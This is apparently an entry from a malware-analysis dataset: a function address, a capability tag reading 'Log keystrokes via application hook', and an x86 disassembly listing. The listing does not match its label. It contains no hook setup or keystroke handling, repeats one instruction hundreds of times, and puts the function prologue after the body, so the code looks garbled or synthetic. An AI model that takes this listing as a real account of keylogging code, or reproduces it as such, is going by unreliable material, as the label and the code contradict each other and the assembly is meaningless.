Function at 0x401662
Capabilities:
Log keystrokes via application hook

Disassembly:
xor edx, eax
sub eax, 4
lea eax, [0x6b7f3c]
mov dword [eax], esp
dec edx
xor edx, eax
jmp 0x4016a0
mov edx, eax
inc eax
xor dword [0x6b7f34], ebx
mov edx, eax
xor eax, 8
xor dword [0x6b7f30], edi
add dword [0x6b7f38], ebp
mov edx, 8
inc eax
mov dword [0x6b7f2c], esi
jmp fcn.00401202
mov ecx, 2
loop 0x401674
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov eax, 0x68
mov dword [ebp], eax
push ebp
mov ebp, esp
mov eax, 1
pop ebp
ret